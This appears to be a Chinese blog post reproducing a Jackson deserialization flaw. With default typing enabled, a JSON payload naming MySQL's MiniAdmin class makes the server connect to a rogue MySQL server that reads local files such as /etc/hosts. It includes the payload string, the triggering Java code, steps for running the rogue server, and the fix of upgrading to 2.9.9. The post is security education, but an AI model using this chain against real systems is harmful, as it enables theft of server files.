Jackson反序列化漏洞读取服务器文件复现

2,333 阅读1分钟

漏洞的具体表现为

通过jackson的漏洞实例化对象,读取被攻击服务器文件内容

原因

为什么会产生这个问题.需要知道下面两个东西.

  1. jackson#enableDefaultTyping()
ObjectMapper mapper = new ObjectMapper();
 mapper.enableDefaultTyping();

enableDefaultTyping该方法意味着在反序列化时可以指定类.而且可以再实例化的时调用有参构造函数.

  1. com.mysql.cj.jdbc.admin.MiniAdmin#MiniAdmin()

该类中的MiniAdmin(String url)构造函数,可以直接连接传入的url.

至此通过以上两点,我们可以发送一个请求,指定序列化MIniAdmin,并连接上我们提供的jdbcurl.系统会连接该服务器.而mysql本身支持客户端加载文件插入表中的协议.如果我们连接到了一个恶意的mysql服务器.那么它就可以要求系统的服务器上传敏感文件.

复现:

首先通过脚本伪造一下恶意的mysql服务器 可以直接执行pyscript/rogue_mysql_server.py

该脚本来自github上,连接为 github.com/allyshka/Ro….

下面的修改在上传的代码中已经完成.当然你也可以自己修改.

该脚本仿造一个mysql服务器,然后把客户端的文件读取到脚本同目录下的mysql.log文件中. PORT = 3307 修改成自己需要的连接mysql的端口 filelist = ( '/etc/hosts', ) filelist 里可以指定一些你需要读取的文件.我这里读取hosts文件

执行脚本

python rogue_mysql_server.py

发送构造好的参数请求.执行如下java代码

public static void main(String[] args) {
    String payload = "[\"com.mysql.cj.jdbc.admin.MiniAdmin\",\"jdbc:mysql://localhost:3307/test\"]";

    ObjectMapper mapper = new ObjectMapper();
    mapper.enableDefaultTyping();
    try {
      mapper.readValue(payload, Object.class);
      System.out.println("end");
    } catch (IOException e) {
      e.printStackTrace();
    }
  }

可以再脚本同级目录下查看mysql.log文件.读取到了hosts文件内容.

复现的代码地址为:github.com/LeeSiler/sd…

修复

jackson版本需要升级到2.9.9及以上